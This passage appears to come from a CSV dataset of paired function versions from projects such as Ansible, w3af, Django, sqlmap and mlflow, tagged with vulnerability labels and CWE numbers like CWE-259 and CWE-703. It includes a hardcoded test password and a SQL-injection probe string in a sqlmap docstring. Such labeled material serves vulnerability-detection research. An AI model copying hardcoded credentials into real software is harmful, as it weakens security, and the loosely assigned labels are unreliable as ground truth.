        ""username"": {""required"": False, ""type"": ""str""},
        ""password"": {""required"": False, ""type"": ""str"", ""default"": """", ""no_log"": True},
        ""vdom"": {""required"": False, ""type"": ""str"", ""default"": ""root""},
        ""https"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""ssl_verify"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""state"": {""required"": False, ""type"": ""str"",
                  ""choices"": [""present"", ""absent""]},
        ""vpn_ipsec_phase1"": {
            ""required"": False, ""type"": ""dict"", ""default"": None,
            ""options"": {
                ""state"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""present"", ""absent""]},
                ""acct_verify"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""enable"", ""disable""]},
                ""add_gw_route"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable""]},
                ""add_route"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""enable""]},
                ""assign_ip"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""enable""]},
                ""assign_ip_from"": {""required"": False, ""type"": ""str"",
                                   ""choices"": [""range"", ""usrgrp"", ""dhcp"",
                                               ""name""]},
                ""authmethod"": {""required"": False, ""type"": ""str"",
                               ""choices"": [""psk"", ""signature""]},
                ""authmethod_remote"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""psk"", ""signature""]},
                ""authpasswd"": {""required"": False, ""type"": ""str""},
                ""authusr"": {""required"": False, ""type"": ""str""},
                ""authusrgrp"": {""required"": False, ""type"": ""str""},
                ""auto_negotiate"": {""required"": False, ""type"": ""str"",
                                   ""choices"": [""enable"", ""disable""]},
                ""backup_gateway"": {""required"": False, ""type"": ""list"",
                                   ""options"": {
                                       ""address"": {""required"": True, ""type"": ""str""}
                                   }},
                ""banner"": {""required"": False, ""type"": ""str""},
                ""cert_id_validation"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""enable"", ""disable""]},
                ""certificate"": {""required"": False, ""type"": ""list"",
                                ""options"": {
                                    ""name"": {""required"": True, ""type"": ""str""}
                                }},
                ""childless_ike"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""enable"", ""disable""]},
                ""client_auto_negotiate"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""disable"", ""enable""]},
                ""client_keep_alive"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""enable""]},
                ""comments"": {""required"": False, ""type"": ""str""},
                ""dhgrp"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""1"", ""2"", ""5"",
                                      ""14"", ""15"", ""16"",
                                      ""17"", ""18"", ""19"",
                                      ""20"", ""21"", ""27"",
                                      ""28"", ""29"", ""30"",
                                      ""31""]},
                ""digital_signature_auth"": {""required"": False, ""type"": ""str"",
                                           ""choices"": [""enable"", ""disable""]},
                ""distance"": {""required"": False, ""type"": ""int""},
                ""dns_mode"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""manual"", ""auto""]},
                ""domain"": {""required"": False, ""type"": ""str""},
                ""dpd"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""disable"", ""on-idle"", ""on-demand""]},
                ""dpd_retrycount"": {""required"": False, ""type"": ""int""},
                ""dpd_retryinterval"": {""required"": False, ""type"": ""str""},
                ""eap"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""enable"", ""disable""]},
                ""eap_identity"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""use-id-payload"", ""send-request""]},
                ""enforce_unique_id"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""keep-new"", ""keep-old""]},
                ""forticlient_enforcement"": {""required"": False, ""type"": ""str"",
                                            ""choices"": [""enable"", ""disable""]},
                ""fragmentation"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""enable"", ""disable""]},
                ""fragmentation_mtu"": {""required"": False, ""type"": ""int""},
                ""group_authentication"": {""required"": False, ""type"": ""str"",
                                         ""choices"": [""enable"", ""disable""]},
                ""group_authentication_secret"": {""required"": False, ""type"": ""str""},
                ""ha_sync_esp_seqno"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""enable"", ""disable""]},
                ""idle_timeout"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable""]},
                ""idle_timeoutinterval"": {""required"": False, ""type"": ""int""},
                ""ike_version"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""1"", ""2""]},
                ""include_local_lan"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""enable""]},
                ""interface"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server1"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server2"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server3"": {""required"": False, ""type"": ""str""},
                ""ipv4_end_ip"": {""required"": False, ""type"": ""str""},
                ""ipv4_exclude_range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""end_ip"": {""required"": False, ""type"": ""str""},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""start_ip"": {""required"": False, ""type"": ""str""}
                                       }},
                ""ipv4_name"": {""required"": False, ""type"": ""str""},
                ""ipv4_netmask"": {""required"": False, ""type"": ""str""},
                ""ipv4_split_exclude"": {""required"": False, ""type"": ""str""},
                ""ipv4_split_include"": {""required"": False, ""type"": ""str""},
                ""ipv4_start_ip"": {""required"": False, ""type"": ""str""},
                ""ipv4_wins_server1"": {""required"": False, ""type"": ""str""},
                ""ipv4_wins_server2"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server1"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server2"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server3"": {""required"": False, ""type"": ""str""},
                ""ipv6_end_ip"": {""required"": False, ""type"": ""str""},
                ""ipv6_exclude_range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""end_ip"": {""required"": False, ""type"": ""str""},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""start_ip"": {""required"": False, ""type"": ""str""}
                                       }},
                ""ipv6_name"": {""required"": False, ""type"": ""str""},
                ""ipv6_prefix"": {""required"": False, ""type"": ""int""},
                ""ipv6_split_exclude"": {""required"": False, ""type"": ""str""},
                ""ipv6_split_include"": {""required"": False, ""type"": ""str""},
                ""ipv6_start_ip"": {""required"": False, ""type"": ""str""},
                ""keepalive"": {""required"": False, ""type"": ""int""},
                ""keylife"": {""required"": False, ""type"": ""int""},
                ""local_gw"": {""required"": False, ""type"": ""str""},
                ""localid"": {""required"": False, ""type"": ""str""},
                ""localid_type"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""auto"", ""fqdn"", ""user-fqdn"",
                                             ""keyid"", ""address"", ""asn1dn""]},
                ""mesh_selector_type"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""disable"", ""subnet"", ""host""]},
                ""mode"": {""required"": False, ""type"": ""str"",
                         ""choices"": [""aggressive"", ""main""]},
                ""mode_cfg"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""disable"", ""enable""]},
                ""name"": {""required"": True, ""type"": ""str""},
                ""nattraversal"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable"", ""forced""]},
                ""negotiate_timeout"": {""required"": False, ""type"": ""int""},
                ""peer"": {""required"": False, ""type"": ""str""},
                ""peergrp"": {""required"": False, ""type"": ""str""},
                ""peerid"": {""required"": False, ""type"": ""str""},
                ""peertype"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""any"", ""one"", ""dialup"",
                                         ""peer"", ""peergrp""]},
                ""ppk"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""disable"", ""allow"", ""require""]},
                ""ppk_identity"": {""required"": False, ""type"": ""str""},
                ""ppk_secret"": {""required"": False, ""type"": ""str""},
                ""priority"": {""required"": False, ""type"": ""int""},
                ""proposal"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""des-md5"", ""des-sha1"", ""des-sha256"",
                                         ""des-sha384"", ""des-sha512""]},
                ""psksecret"": {""required"": False, ""type"": ""str""},
                ""psksecret_remote"": {""required"": False, ""type"": ""str""},
                ""reauth"": {""required"": False, ""type"": ""str"",
                           ""choices"": [""disable"", ""enable""]},
                ""rekey"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""enable"", ""disable""]},
                ""remote_gw"": {""required"": False, ""type"": ""str""},
                ""remotegw_ddns"": {""required"": False, ""type"": ""str""},
                ""rsa_signature_format"": {""required"": False, ""type"": ""str"",
                                         ""choices"": [""pkcs1"", ""pss""]},
                ""save_password"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""disable"", ""enable""]},
                ""send_cert_chain"": {""required"": False, ""type"": ""str"",
                                    ""choices"": [""enable"", ""disable""]},
                ""signature_hash_alg"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""sha1"", ""sha2-256"", ""sha2-384"",
                                                   ""sha2-512""]},
                ""split_include_service"": {""required"": False, ""type"": ""str""},
                ""suite_b"": {""required"": False, ""type"": ""str"",
                            ""choices"": [""disable"", ""suite-b-gcm-128"", ""suite-b-gcm-256""]},
                ""type"": {""required"": False, ""type"": ""str"",
                         ""choices"": [""static"", ""dynamic"", ""ddns""]},
                ""unity_support"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""disable"", ""enable""]},
                ""usrgrp"": {""required"": False, ""type"": ""str""},
                ""wizard_type"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""custom"", ""dialup-forticlient"", ""dialup-ios"",
                                            ""dialup-android"", ""dialup-windows"", ""dialup-cisco"",
                                            ""static-fortigate"", ""dialup-fortigate"", ""static-cisco"",
                                            ""dialup-cisco-fw""]},
                ""xauthtype"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""client"", ""pap"",
                                          ""chap"", ""auto""]}

            }
        }
    }

    module = AnsibleModule(argument_spec=fields,
                           supports_check_mode=False)

    # legacy_mode refers to using fortiosapi instead of HTTPAPI
    legacy_mode = 'host' in module.params and module.params['host'] is not None and \
                  'username' in module.params and module.params['username'] is not None and \
                  'password' in module.params and module.params['password'] is not None

    if not legacy_mode:
        if module._socket_path:
            connection = Connection(module._socket_path)
            fos = FortiOSHandler(connection)

            is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos)
        else:
            module.fail_json(**FAIL_SOCKET_MSG)
    else:
        try:
            from fortiosapi import FortiOSAPI
        except ImportError:
            module.fail_json(msg=""fortiosapi module is required"")

        fos = FortiOSAPI()

        login(module.params, fos)
        is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos)
        fos.logout()

    if not is_error:
        module.exit_json(changed=has_changed, meta=result)
    else:
        module.fail_json(msg=""Error in repo"", meta=result)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/cors/tests/test_cors_utils.py,0,"def test_provides_cors_features_true(self):
        url = URL('http://moth/')
        fr = FuzzableRequest(url)

        hdrs = {'Access-Control-Allow-Origin': 'http://www.w3af.org/'}.items()
        cors_headers = Headers(hdrs)
        http_response = HTTPResponse(200, '', cors_headers, url, url)

        url_opener_mock = Mock()
        url_opener_mock.GET = MagicMock(return_value=http_response)

        cors = provides_cors_features(fr, url_opener_mock, None)

        url_opener_mock.GET.assert_called_with(url, debugging_id=None)

        self.assertTrue(cors)",,andresriancho/w3af,e2f8c319d24b3c2aedb52811b9f77fa15e4989a8,"def test_provides_cors_features_true(self):
        url = URL('http://moth/')
        fr = FuzzableRequest(url)

        hdrs = {'Access-Control-Allow-Origin': 'http://www.w3af.org/'}.items()
        cors_headers = Headers(hdrs)
        http_response = HTTPResponse(200, '', cors_headers, url, url)

        url_opener_mock = Mock()
        url_opener_mock.GET = MagicMock(return_value=http_response)

        cors = provides_cors_features(fr, url_opener_mock, None)

        url_opener_mock.GET.assert_called_with(url)

        self.assertTrue(cors)"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network_common.py,1,"def dict_diff(base, comparable):
    """""" Generate a dict object of differences

    This function will compare two dict objects and return the difference
    between them as a dict object.  For scalar values, the key will reflect
    the updated value.  If the key does not exist in `comparable`, then then no
    key will be returned.  For lists, the value in comparable will wholly replace
    the value in base for the key.  For dicts, the returned value will only
    return keys that are different.

    :param base: dict object to base the diff on
    :param comparable: dict object to compare against base

    :returns: new dict object with differences
    """"""
    if not isinstance(base, dict):
        raise AssertionError(""`base` must be of type <dict>"")
    if not isinstance(comparable, dict):
        raise AssertionError(""`comparable` must be of type <dict>"")

    updates = dict()

    for key, value in iteritems(base):
        if isinstance(value, dict):
            item = comparable.get(key)
            if item is not None:
                updates[key] = dict_diff(value, comparable[key])
        else:
            comparable_value = comparable.get(key)
            if comparable_value is not None:
                if sort_list(base[key]) != sort_list(comparable_value):
                    updates[key] = comparable_value

    for key in set(comparable.keys()).difference(base.keys()):
        updates[key] = comparable.get(key)

    return updates",CWE-703,ansible/ansible,99d4f5bab4d334c0457a0cc6635f3104ca672834,"def dict_diff(base, comparable):
    """""" Generate a dict object of differences

    This function will compare two dict objects and return the difference
    between them as a dict object.  For scalar values, the key will reflect
    the updated value.  If the key does not exist in `comparable`, then then no
    key will be returned.  For lists, the value in comparable will wholly replace
    the value in base for the key.  For dicts, the returned value will only
    return keys that are different.

    :param base: dict object to base the diff on
    :param comparable: dict object to compare against base

    :returns: new dict object with differences
    """"""
    assert isinstance(base, dict), ""`base` must be of type <dict>""
    assert isinstance(comparable, dict), ""`comparable` must be of type <dict>""

    updates = dict()

    for key, value in iteritems(base):
        if isinstance(value, dict):
            item = comparable.get(key)
            if item is not None:
                updates[key] = dict_diff(value, comparable[key])
        else:
            comparable_value = comparable.get(key)
            if comparable_value is not None:
                if sort_list(base[key]) != sort_list(comparable_value):
                    updates[key] = comparable_value

    for key in set(comparable.keys()).difference(base.keys()):
        updates[key] = comparable.get(key)

    return updates"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_date_time_picker_shortcuts(self):
        """"""
        date/time/datetime picker shortcuts work in the current time zone.
        Refs #20663.

        This test case is fairly tricky, it relies on selenium still running the browser
        in the default time zone ""America/Chicago"" despite `override_settings` changing
        the time zone to ""Asia/Singapore"".
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        error_margin = timedelta(seconds=10)

        # If we are neighbouring a DST, we add an hour of error margin.
        tz = pytz.timezone('America/Chicago')
        utc_now = datetime.now(pytz.utc)
        tz_yesterday = (utc_now - timedelta(days=1)).astimezone(tz).tzname()
        tz_tomorrow = (utc_now + timedelta(days=1)).astimezone(tz).tzname()
        if tz_yesterday != tz_tomorrow:
            error_margin += timedelta(hours=1)

        now = datetime.now()

        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        self.selenium.find_element_by_id('id_name').send_keys('test')

        # Click on the ""today"" and ""now"" shortcuts.
        shortcuts = self.selenium.find_elements_by_css_selector('.field-birthdate .datetimeshortcuts')

        for shortcut in shortcuts:
            shortcut.find_element_by_tag_name('a').click()

        # There is a time zone mismatch warning.
        # Warning: This would effectively fail if the TIME_ZONE defined in the
        # settings has the same UTC offset as ""Asia/Singapore"" because the
        # mismatch warning would be rightfully missing from the page.
        self.selenium.find_elements_by_css_selector('.field-birthdate .timezonewarning')

        # Submit the form.
        with self.wait_page_loaded():
            self.selenium.find_element_by_name('_save').click()

        # Make sure that ""now"" in javascript is within 10 seconds
        # from ""now"" on the server side.
        member = Member.objects.get(name='test')
        self.assertGreater(member.birthdate, now - error_margin)
        self.assertLess(member.birthdate, now + error_margin)",CWE-259,django/django,f0ed38edf33947fad539d43b7b3fbabf82816518,"def test_date_time_picker_shortcuts(self):
        """"""
        date/time/datetime picker shortcuts work in the current time zone.
        Refs #20663.

        This test case is fairly tricky, it relies on selenium still running the browser
        in the default time zone ""America/Chicago"" despite `override_settings` changing
        the time zone to ""Asia/Singapore"".
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        error_margin = timedelta(seconds=10)

        # If we are neighbouring a DST, we add an hour of error margin.
        tz = pytz.timezone('America/Chicago')
        utc_now = datetime.now(pytz.utc)
        tz_yesterday = (utc_now - timedelta(days=1)).astimezone(tz).tzname()
        tz_tomorrow = (utc_now + timedelta(days=1)).astimezone(tz).tzname()
        if tz_yesterday != tz_tomorrow:
            error_margin += timedelta(hours=1)

        now = datetime.now()

        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        self.selenium.find_element_by_id('id_name').send_keys('test')

        # Click on the ""today"" and ""now"" shortcuts.
        shortcuts = self.selenium.find_elements_by_css_selector('.field-birthdate .datetimeshortcuts')

        for shortcut in shortcuts:
            shortcut.find_element_by_tag_name('a').click()

        # There is a time zone mismatch warning.
        # Warning: This would effectively fail if the TIME_ZONE defined in the
        # settings has the same UTC offset as ""Asia/Singapore"" because the
        # mismatch warning would be rightfully missing from the page.
        self.selenium.find_elements_by_css_selector('.field-birthdate .timezonewarning')

        # Submit the form.
        with self.wait_page_loaded():
            self.selenium.find_element_by_tag_name('form').submit()

        # Make sure that ""now"" in javascript is within 10 seconds
        # from ""now"" on the server side.
        member = Member.objects.get(name='test')
        self.assertGreater(member.birthdate, now - error_margin)
        self.assertLess(member.birthdate, now + error_margin)"
,UNKNOWN,UNKNOWN,lib/core/common.py,1,"def removeReflectiveValues(content, payload, suppressWarning=False):
    """"""
    Neutralizes reflective values in a given content based on a payload
    (e.g. ..search.php?q=1 AND 1=2 --> ""...searching for <b>1%20AND%201%3D2</b>..."" --> ""...searching for <b>__REFLECTED_VALUE__</b>..."")
    """"""

    retVal = content

    try:
        if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode:
            def _(value):
                while 2 * REFLECTED_REPLACEMENT_REGEX in value:
                    value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
                return value

            payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, """"), convall=True))
            regex = _(filterStringValue(payload, r""[A-Za-z0-9]"", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))

            if regex != payload:
                if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
                    parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
                    retVal = content.replace(payload, REFLECTED_VALUE_MARKER)  # dummy approach

                    if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
                        regex = _(""%s%s%s"" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))

                    parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))

                    if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
                        regex = r""%s%s"" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
                    else:
                        regex = r""\b%s"" % regex

                    if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
                        regex = r""%s%s"" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
                    else:
                        regex = r""%s\b"" % regex

                    _retVal = [retVal]

                    def _thread(regex):
                        try:
                            _retVal[0] = re.sub(r""(?i)%s"" % regex, REFLECTED_VALUE_MARKER, _retVal[0])

                            if len(parts) > 2:
                                regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
                                _retVal[0] = re.sub(r""(?i)\b%s\b"" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
                        except KeyboardInterrupt:
                            raise
                        except:
                            pass

                    thread = threading.Thread(target=_thread, args=(regex,))
                    thread.daemon = True
                    thread.start()
                    thread.join(REFLECTED_REPLACEMENT_TIMEOUT)

                    if thread.isAlive():
                        kb.reflectiveMechanism = False
                        retVal = content
                        if not suppressWarning:
                            debugMsg = ""turning off reflection removal mechanism (because of timeouts)""
                            logger.debug(debugMsg)
                    else:
                        retVal = _retVal[0]

                if retVal != content:
                    kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
                    if not suppressWarning:
                        warnMsg = ""reflective value(s) found and filtering out""
                        singleTimeWarnMessage(warnMsg)

                    if re.search(r""(?i)FRAME[^>]+src=[^>]*%s"" % REFLECTED_VALUE_MARKER, retVal):
                        warnMsg = ""frames detected containing attacked parameter values. Please be sure to ""
                        warnMsg += ""test those separately in case that attack on this page fails""
                        singleTimeWarnMessage(warnMsg)

                elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]:
                    kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1
                    if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD:
                        kb.reflectiveMechanism = False
                        if not suppressWarning:
                            debugMsg = ""turning off reflection removal mechanism (for optimization purposes)""
                            logger.debug(debugMsg)
    except MemoryError:
        kb.reflectiveMechanism = False
        if not suppressWarning:
            debugMsg = ""turning off reflection removal mechanism (because of low memory issues)""
            logger.debug(debugMsg)

    return retVal",CWE-703,sqlmapproject/sqlmap,0eee52ae255d7f19c2194c726f3bea6a79030d8b,"def removeReflectiveValues(content, payload, suppressWarning=False):
    """"""
    Neutralizes reflective values in a given content based on a payload
    (e.g. ..search.php?q=1 AND 1=2 --> ""...searching for <b>1%20AND%201%3D2</b>..."" --> ""...searching for <b>__REFLECTED_VALUE__</b>..."")
    """"""

    retVal = content

    try:
        if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode:
            def _(value):
                while 2 * REFLECTED_REPLACEMENT_REGEX in value:
                    value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
                return value

            payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, """"), convall=True))
            regex = _(filterStringValue(payload, r""[A-Za-z0-9]"", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))

            if regex != payload:
                if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
                    parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
                    retVal = content.replace(payload, REFLECTED_VALUE_MARKER)  # dummy approach

                    if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
                        regex = _(""%s%s%s"" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))

                    parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))

                    if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
                        regex = r""%s%s"" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
                    else:
                        regex = r""\b%s"" % regex

                    if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
                        regex = r""%s%s"" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
                    else:
                        regex = r""%s\b"" % regex

                    _retVal = [retVal]

                    def _thread(regex):
                        try:
                            _retVal[0] = re.sub(r""(?i)%s"" % regex, REFLECTED_VALUE_MARKER, _retVal[0])

                            if len(parts) > 2:
                                regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
                                _retVal[0] = re.sub(r""(?i)\b%s\b"" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
                        except KeyboardInterrupt:
                            raise
                        except:
                            pass

                    thread = threading.Thread(target=_thread, args=(regex,))
                    thread.daemon = True
                    thread.start()
                    thread.join(REFLECTED_REPLACEMENT_TIMEOUT)

                    if thread.isAlive():
                        kb.reflectiveMechanism = False
                        retVal = content
                        if not suppressWarning:
                            debugMsg = ""turning off reflection removal mechanism (because of timeouts)""
                            logger.debug(debugMsg)
                    else:
                        retVal = _retVal[0]

                if retVal != content:
                    kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
                    if not suppressWarning:
                        warnMsg = ""reflective value(s) found and filtering out""
                        singleTimeWarnMessage(warnMsg)

                    if re.search(r""(?i)FRAME[^>]+src=[^>]*%s"" % REFLECTED_VALUE_MARKER, retVal):
                        warnMsg = ""frames detected containing attacked parameter values. Please be sure to ""
                        warnMsg += ""test those separately in case that attack on this page fails""
                        singleTimeWarnMessage(warnMsg)

                elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]:
                    kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1
                    if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD:
                        kb.reflectiveMechanism = False
                        if not suppressWarning:
                            debugMsg = ""turning off reflection removal mechanism (for optimization purposes)""
                            logger.debug(debugMsg)
    except MemoryError:
        kb.reflectiveMechanism = False
        if not suppressWarning:
            debugMsg = ""turning off reflection removal mechanism (because of low memory issues)""
            logger.debug(debugMsg)

    return retVal"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/sklearn/utils.py,0,"def _get_classifier_artifacts(fitted_estimator, prefix, X, y_true, sample_weight):
    """"""
    Draw and record various common artifacts for classifier

    For all classifiers, we always log:
    (1) confusion matrix:
    https://scikit-learn.org/stable/modules/generated/sklearn.metrics.plot_confusion_matrix.html

    For only binary classifiers, we will log:
    (2) precision recall curve:
    https://scikit-learn.org/stable/modules/generated/sklearn.metrics.plot_precision_recall_curve.html
    (3) roc curve:
    https://scikit-learn.org/stable/auto_examples/model_selection/plot_roc.html

    Steps:
    1. Extract X and y_true from fit_args and fit_kwargs, and split into train & test datasets.
    2. If the sample_weight argument exists in fit_func (accuracy_score by default
    has sample_weight), extract it from fit_args or fit_kwargs as
    (y_true, y_pred, sample_weight, multioutput), otherwise as (y_true, y_pred, multioutput)
    3. return a list of artifacts path to be logged

    :param fitted_estimator: The already fitted regressor
    :param fit_args: Positional arguments given to fit_func.
    :param fit_kwargs: Keyword arguments given to fit_func.
    :return: List of artifacts to be logged
    """"""
    import sklearn

    if not _is_plotting_supported():
        return []

    is_plot_function_deprecated = Version(sklearn.__version__) >= Version(""1.0"")

    def plot_confusion_matrix(*args, **kwargs):
        import matplotlib

        class_labels = _get_class_labels_from_estimator(fitted_estimator)
        if class_labels is None:
            class_labels = set(y_true)

        with matplotlib.rc_context(
            {
                ""figure.dpi"": 288,
                ""figure.figsize"": [6.0, 4.0],
                ""font.size"": min(10.0, 50.0 / len(class_labels)),
                ""axes.labelsize"": 10.0,
            }
        ):
            return (
                sklearn.metrics.ConfusionMatrixDisplay.from_estimator(*args, **kwargs)
                if is_plot_function_deprecated
                else sklearn.metrics.plot_confusion_matrix(*args, **kwargs)
            )

    y_true_arg_name = ""y"" if is_plot_function_deprecated else ""y_true""
    classifier_artifacts = [
        _SklearnArtifact(
            name=prefix + ""confusion_matrix"",
            function=plot_confusion_matrix,
            arguments=dict(
                estimator=fitted_estimator,
                X=X,
                sample_weight=sample_weight,
                normalize=""true"",
                cmap=""Blues"",
                **{y_true_arg_name: y_true},
            ),
            title=""Normalized confusion matrix"",
        ),
    ]

    # The plot_roc_curve and plot_precision_recall_curve can only be
    # supported for binary classifier
    if len(set(y_true)) == 2:
        classifier_artifacts.extend(
            [
                _SklearnArtifact(
                    name=prefix + ""roc_curve"",
                    function=sklearn.metrics.RocCurveDisplay.from_estimator
                    if is_plot_function_deprecated
                    else sklearn.metrics.plot_roc_curve,
                    arguments=dict(
                        estimator=fitted_estimator,
                        X=X,
                        y=y_true,
                        sample_weight=sample_weight,
                    ),
                    title=""ROC curve"",
                ),
                _SklearnArtifact(
                    name=prefix + ""precision_recall_curve"",
                    function=sklearn.metrics.PrecisionRecallDisplay.from_estimator
                    if is_plot_function_deprecated
                    else sklearn.metrics.plot_precision_recall_curve,
                    arguments=dict(
                        estimator=fitted_estimator,
                        X=X,
                        y=y_true,
                        sample_weight=sample_weight,
                    ),
                    title=""Precision recall curve"",
                ),
            ]
        )

    return classifier_artifacts",,mlflow/mlflow,d20b3530037dd4a0ea39907de93ac78cba62989a,"def _get_classifier_artifacts(fitted_estimator, prefix, X, y_true, sample_weight):
    """"""
    Draw and record various common artifacts for classifier

    For all classifiers, we always log:
    (1) confusion matrix:
    https://scikit-learn.org/stable/modules/generated/sklearn.metrics.plot_confusion_matrix.html

    For only binary classifiers, we will log:
    (2) precision recall curve:
    https://scikit-learn.org/stable/modules/generated/sklearn.metrics.plot_precision_recall_curve.html
    (3) roc curve:
    https://scikit-learn.org/stable/auto_examples/model_selection/plot_roc.html

    Steps:
    1. Extract X and y_true from fit_args and fit_kwargs, and split into train & test datasets.
    2. If the sample_weight argument exists in fit_func (accuracy_score by default
    has sample_weight), extract it from fit_args or fit_kwargs as
    (y_true, y_pred, sample_weight, multioutput), otherwise as (y_true, y_pred, multioutput)
    3. return a list of artifacts path to be logged

    :param fitted_estimator: The already fitted regressor
    :param fit_args: Positional arguments given to fit_func.
    :param fit_kwargs: Keyword arguments given to fit_func.
    :return: List of artifacts to be logged
    """"""
    import sklearn

    if not _is_plotting_supported():
        return []

    def plot_confusion_matrix(*args, **kwargs):
        import matplotlib

        class_labels = _get_class_labels_from_estimator(fitted_estimator)
        if class_labels is None:
            class_labels = set(y_true)

        with matplotlib.rc_context(
            {
                ""figure.dpi"": 288,
                ""figure.figsize"": [6.0, 4.0],
                ""font.size"": min(10.0, 50.0 / len(class_labels)),
                ""axes.labelsize"": 10.0,
            }
        ):
            return sklearn.metrics.plot_confusion_matrix(*args, **kwargs)

    classifier_artifacts = [
        _SklearnArtifact(
            name=prefix + ""confusion_matrix"",
